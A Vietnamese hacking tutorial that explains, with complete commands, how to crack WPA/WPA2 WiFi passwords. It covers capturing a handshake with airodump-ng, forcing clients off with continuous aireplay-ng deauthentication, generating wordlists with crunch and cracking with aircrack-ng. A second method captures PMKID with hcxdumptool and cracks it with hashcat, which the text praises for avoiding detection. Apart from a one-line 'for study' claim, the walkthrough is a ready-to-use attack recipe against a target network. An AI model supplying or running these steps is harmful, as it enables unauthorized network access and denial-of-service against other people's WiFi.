Brute Force là gì?

Việc Hack Password WiFi WPA/WPA2 cần sử dụng cách Tấn công Brute Force, đây là một loại tấn công mạng, trong đó bạn có một phần mềm, xoay vòng các ký tự khác nhau, kết hợp để tạo ra một mật khẩu đúng. Phần mềm Brute Force Attack password cracker đơn giản sẽ sử dụng tất cả các kết hợp có thể để tìm ra mật khẩu cho máy tính hoặc máy chủ mạng. Nó rất đơn giản và không sử dụng bất kỳ kỹ thuật thông minh nào.

Vì phương pháp này chủ yếu dựa trên toán học, phải mất ít thời gian hơn để crack mật khẩu, bằng cách sử dụng các ứng dụng brute force thay vì tìm ra chúng theo cách thủ công. Nói phương pháp này dựa trên toán học vì máy tính làm rất tốt các phép toán và thực hiện chúng trong vài giây, nhanh hơn rất nhiều lần so với bộ não con người (mất nhiều thời gian hơn để tạo ra các sự kết hợp).

Aircrack-ng là gì?

Aircrack-ng là một bộ công cụ hoàn chỉnh để đánh giá khả năng bảo mật mạng WiFi. Nó tập trung vào các lĩnh vực bảo mật WiFi khác nhau:

• Giám sát: Chụp gói và xuất dữ liệu sang tệp văn bản để xử lý thêm bằng các công cụ của bên thứ ba
  
• Tấn công: Phát lại các cuộc tấn công, hủy xác thực, điểm truy cập giả mạo và những thứ khác thông qua chèn gói
  
• Kiểm tra: Kiểm tra thẻ WiFi và khả năng của trình điều khiển (chụp và chèn)
  
• Bẻ khóa: WEP và WPA PSK (WPA 1 và 2) Tất cả các công cụ đều là dòng lệnh cho phép tạo script nặng.
  Rất nhiều GUI đã tận dụng tính năng này. 

Nó hoạt động chủ yếu trên Linux nhưng cũng có Windows, macOS, FreeBSD, OpenBSD, NetBSD, cũng như Solaris và thậm chí cả eComStation 2.

Crunch là gì?

Crunch là một phần mềm cho phép người dùng sử dụng trong việc tạo wordlist hỗ trợ Brute Force dùng để Hack Password WiFi WPA/WPA2. Nó có thể tạo word list từ tất cả các kí tự từ in hoa , viết thường , số và các kí tự đặc biệt.

Chuẩn bị

• 1 Máy tính chạy linux (phải được cấp quyền super user)
• Card wifi hỗ trợ RFMON hoặc USB Wifi có hỗ trợ Hack Wifi
• Tool : Aircrack-ng và Crunch

Hướng dẫn khởi động monitor mode của wireless adapter

Khởi động Kali Linux lên và mở terminal (có quyền super user) gõ lệnh sau:

airmon-ng

Nó sẽ hiển thị ra wireless adapter ở chỗ Interface (thường nó sẽ là wlan0)

Tiếp đến bật monitor mode:

airmon-ng check kill
airmon-ng start

Theo ví dụ của mình là: airmon-ng start wlan0

Bây giờ tên của bạn sẽ có dạng [tên wireless adapter]mon
Như của mình là : wlan0mon

Chạy câu lệnh sau để quét mạng có xung quanh:
airodump-ng [tên wireless adapter]mon
VD:
airodump-ng wlan0mon

ta sẽ có kết quả như sau

Ở đây cần chú ý tới 3 điểm của mục tiêu:

• ESSID : tên target (của mình là TranLong)
• CH : kênh (của mình là 5)
• BSSID : ID của mạng mình (của mình là D4:9A:A0:09:A6:38)

Lấy WPA handshake

Sau khi đã có các thông tin đó thì ta chỉ cần theo dõi cái AP mà mình tấn công như sau
airodump-ng --bssid [nhập bssid của mục tiêu] -c [channel của mục tiêu] -w [tên file muốn viết].txt [wireless adapter]mon
Vậy theo ví dụ của mình , ta sẽ có:
airodump-ng --bssid D4:9A:A0:09:A6:38 -c 5 -w handshake wlan0mon

Nó hiển thị như vậy là được rồi. Để lấy được pass wifi chúng ta phải cần có client xác thực với AP. Mở 1 terminal mới (vẫn cấp quyền super user) và nhập lệnh sau:
aireplay-ng --deauth [số khung bỏ xác thực , giá trị bằng 0 thì là liên tục] -a [BSSID] [wireless adapter]mon
Ví dụ:
aireplay-ng --deauth 0 -a D4:9A:A0:09:A6:38 wlan0mon

Hiện được như vậy là ta đã thành công tấn công vào mạng. Bây giờ cùng đợi kết quả

Đã hiện ra dòng WPA handshakes thì quay lại terminal kia và CTRL + C để dừng chặn access point.
Các bạn sử dụng lệnh ls để check xem có file đuôi .cap chưa nhé

Hack Password WiFi WPA/WPA2 bằng cách Brute Force file .cap

Bây giờ cùng tạo ra file wordlist để bruteforce pass sử dụng crunch

crunch [độ dài min] [dộ dài max] [liệt kê kí tự] [tùy chọn thêm]
Vì pass của mình là 27012005 nên mình sẽ cho chạy từ 0 -> 9 , độ dài min thường là 8 và max của mình cũng là 8

Vậy ta có lệnh sau :
crunch 8 8 1234567890 -o pass.txt

Sau khi ta tạo xong , a sẽ sử dụng wordlist vừa rồi để decode file .cap bằng lệnh sau:

aircrack-ng -w [đường_dẫn_tới_wordlist] -b [mã_bssid] [đường_đẫn_file_.cap]

Theo ví dụ mình đang làm thì ta sẽ có lệnh:
aircrack-ng -w home/wdchocopie/pass.txt -b D4:9A:A0:09:A6:38 home/wdchocopie/handshake-01.cap

Đến đây thì coi như đã hoàn thành rồi , bây giờ chỉ cần đợi cho pass xuất hiện thôi.
Nếu hiện ra như này là bạn thành công rồi.Vừa rồi mình vừa hướng dẫn mọi người cách sử dụng Aircrack-ng và Crunch để Brute Force Hack Password WiFi WPA/WPA2. Bài vừa rồi chỉ mang tính chất phục vụ học tập. Các bạn có thể tham khảo thêm bài viết hướng dẫn hack Password Wifi với hashcat – PMKID tại đây.

Câu hỏi thường gặp

Aircrack-ng là gì và nó hoạt động như thế nào?

Aircrack-ng là một bộ công cụ mã nguồn mở dùng để kiểm tra và bẻ khóa mật khẩu WiFi. Nó hoạt động bằng cách sử dụng phương pháp tấn công Brute Force, thử nhiều tổ hợp mật khẩu khác nhau cho đến khi tìm ra mật khẩu đúng. Aircrack-ng hỗ trợ nhiều chuẩn bảo mật WiFi, bao gồm cả WPA/WPA2.

Brute Force là gì và tại sao nó được sử dụng trong việc bẻ khóa mật khẩu WiFi?

Brute Force là một phương pháp tấn công mạng nhằm tìm ra mật khẩu bằng cách thử tất cả các tổ hợp ký tự có thể. Nó được sử dụng trong việc bẻ khóa mật khẩu WiFi vì nó có thể tìm ra mật khẩu, đặc biệt là khi kết hợp với một wordlist mạnh.

Crunch có vai trò gì trong quá trình bẻ khóa mật khẩu WiFi?

Crunch là một công cụ dùng để tạo ra các wordlist (danh sách mật khẩu) được sử dụng trong tấn công Brute Force. Việc tạo ra một wordlist mạnh và hiệu quả là rất quan trọng để tăng tốc độ bẻ khóa mật khẩu WiFi.

Phương pháp Hack Password WIFI cổ điển

Cách thức cũ để bẻ khóa WPA2 đã xuất hiện khá lâu và liên quan đến việc ngắt kết nối một thiết bị với điểm truy cập. Điều này có hai nhược điểm rất quan trọng đối với tin tặc Wi-Fi.

Nhược điểm đầu tiên là phải có thiết bị đang kết nối với Wifi. Mật khẩu Wifi có thể yếu và rất dễ bị bẻ khóa, nhưng nếu không có thiết bị được kết nối, sẽ không có cơ hội để bắt tay (handshake), do đó không có cơ hội để thử bẻ khóa.

Nhược điểm thứ hai, buộc bạn phải gửi các gói tin để là ngắt kết nối giữa thiết bị với Wifi. Loại can thiệp trái phép này về mặt kỹ thuật là một cuộc tấn công từ chối dịch vụ, tương đương với việc gây nhiễu mạng. Điều này có thể khiến bạn gặp rắc rối và có thể dễ dàng phát hiện bởi một số phần mềm khác.

Phương pháp Hack Password WIFI với Hashcat

Thay vì dựa vào việc chặn liên lạc hai chiều giữa các thiết bị Wi-Fi để bẻ khóa mật khẩu, Hacker có thể giao tiếp trực tiếp với điểm truy cập Wifi bằng phương pháp mới. Vào ngày 4 tháng 8 năm 2018, một bài đăng trên diễn đàn Hashcat đã nêu chi tiết một kỹ thuật mới thúc đẩy cuộc tấn công chống lại RSN IE (Robust Security Network Information Element) để nắm bắt thông tin cần thiết và thực hiện Brute-force.

Tương tự như các cuộc tấn công WPA, Hacker phải bắt được sóng Wifi muốn tấn công. Cách thức là sử dụng USB bắt Wifi tương thích Kali Linux để thử brute-buộc mật khẩu. Thay vì sử dụng Aireplay-ng hoặc Aircrack-ng, AnonyViet sẽ hướng dẫn bạn sử dụng một công cụ Hack Password Wifi mới được gọi là hcxtool.

Ưu điểm:

• Hổ trở nhiều thuật toán mã hóa.
• Tỉ lệ giải mã Password thành công cao.

Nhược điểm:

• Cần cấu hình phần cứng để thực hiện giải mã (CPU, GPU).
• Thời gian giải mã phụ thuộc vào phần cứng máy tính.

Cách sử dụng Hcxtools & Hashcat để Hack Password Wifi

Hcxdumptool và hcxpcaptool là công cụ được sử dụng để kiểm thử độ an toàn của Wifi. Tool này có chức năng quét những sóng Wifi gần khu vực của bạn. Sau đó bắt gói tin bắt tay WPA và PMKID. Sau khi có được gói tin PMKID, bạn sẽ dùng hàm băm vào Hashcat và bẻ khóa mật khẩu. Tỉ lệ bẻ khóa thành công phụ thuộc vào từ điển Password bạn có. AnonyViet sẽ cung cấp cho bạn bộ từ điển Password thông dụng nhất hiện nay.

Chuẩn bị công cụ hack wifi

USB Wifi hổ trợ Hack Password Wifi thông dụng hiện nay:

• TP-Link TL-WN722N v1
• Tenda W311MA
• Alfa AWUS036NEH
• Alfa AWUS051NH v2
• Alfa AWUS036NHA
• Alfa AWUS036H
• Alfa AWHUS036NH
• Panda PAU05

Chuẩn bị Tool hack wifi

• hcxdumptool
• hcxtools

Cài đặt gói cần thiết:

Khởi động Kali Linux lên và mở terminal gõ lệnh sau:

git clone https://github.com/ZerBea/hcxdumptool
cd hcxdumptool
make
make install
cd

Để cài đặt hcxtools bạn gõ lệnh:

apt-get update –y
apt-get update
apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev
git clone https://github.com/ZerBea/hcxtools
cd hcxtools
make
make install
cd

Cuối cùng, bạn cần cài đặt Hashcat. Thông thường Hashcat sẽ có sẵn trong repo Kali Linux. Chỉ cần gõ như sau để cài đặt phiên bản Hashcat mới nhất.

apt install hashcat

Kết nối USB Wifi với VMWare

Gắn USB thu sóng Wifi vào máy tính của bạn. Thực hiện kết nối USB Wifi với máy ảo Kali Linux.

Tiếp tục gõ lệnh dưới đây trong Terminal:

ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up

Bắt gói tin PMKID

Bây giờ chúng ta sẽ bắt đầu tấn công để bắt gói tin PMKID. Hãy tắt các Router Wifi của nhà bạn cho dễ thực hiện. Bây giờ sử dụng lệnh sau để chạy hcxdumptool :

Hcxdumptool –I wlan0 –-enable_status=1 –o dump-data.pcapng

Nếu bạn nhận được thông báo như:

“NetworkManager is running with pid 1022”
Or
"wpa_supplicant is running with pid 2231"

Bạn có thể tắt thông báo bằng lệnh:

kill 1022
kill 2231

Thay thế 1022, 2231 bằng PID mà bạn nhìn thấy trên màn hình.

Chạy lại hcxdumptool một lần nửa:

Hcxdumptool –I wlan0 –-enable_status=1 –o dump-data.pcapng

Bạn để chương trình chạy khoảng hơn 10 phút để thu thập các gói tin Wifi cần Hack Password. Sau đó dừng lại bằng tổ hợp phím Ctrl + C

Bây giờ bạn sẽ thấy trong thư mục có một file tên dump-data.pcapng. Đây là file chứa nội dung các gói tin đã được bắt lại. Dùng lệnh sau để xuất gói tin PMKID ra khỏi file dump-data.pcapng.

hcxpcaptool -z hashes.txt dump-data.pcapng

Nội dung được trích xuất sẽ nằm trong thư mục hashes.txt (nếu thông báo lỗi, bạn hãy tự tạo 1 file hashes.txt trống nhé).

Để tìm ra Hash nào của Wifi nào, bạn xem tại địa chỉ MAC của thiết bị Wifi. Trong hình dưới đây, bạn có thể thấy Hash hiển thị địa chỉ MAC Wifi.

Để xem thiết bị Wifi nào có địa chỉ MAC nào, tương ứng với SSID (tên Wifi) thì bạn dùng lệnh dưới đây:

airmon-ng start wlan0
airodump-ng wlan0mon

Brute Force Password Wifi với Hashcat

Bây giờ, bạn giải mã Hash ra Plain Text bằng cách dùng Worldlist. Hãy để file Wordlist chung với thư mục của hashes.txt.

hashcat –m 16800 –w 4 hash.txt (tên-file-worldlist).txt

Nếu mã Hash trùng với Password trong Worldlist thì bạn sẽ nhận được Mật khẩu để truy cập Wifi tương ứng với mã Hash và Mac Adress.

Câu hỏi thường gặp

Tôi cần những công cụ nào để thực hiện phương pháp hack password Wifi này?

Bạn cần có một USB Wifi hỗ trợ chế độ monitor mode, phần mềm hcxdumptool, hcxpcaptool và Hashcat. Kali Linux được khuyến nghị để cài đặt và chạy các công cụ này.

Phương pháp này có ưu điểm gì so với phương pháp truyền thống?

Phương pháp này không cần thiết bị nào đang kết nối với mạng Wifi mục tiêu, giảm thiểu rủi ro bị phát hiện và đơn giản hóa quá trình tấn công.

Thời gian để bẻ khóa mật khẩu phụ thuộc vào yếu tố nào?

Thời gian bẻ khóa phụ thuộc vào độ mạnh của mật khẩu, bộ từ điển (wordlist) được sử dụng và sức mạnh của phần cứng (CPU, GPU) dùng để chạy Hashcat.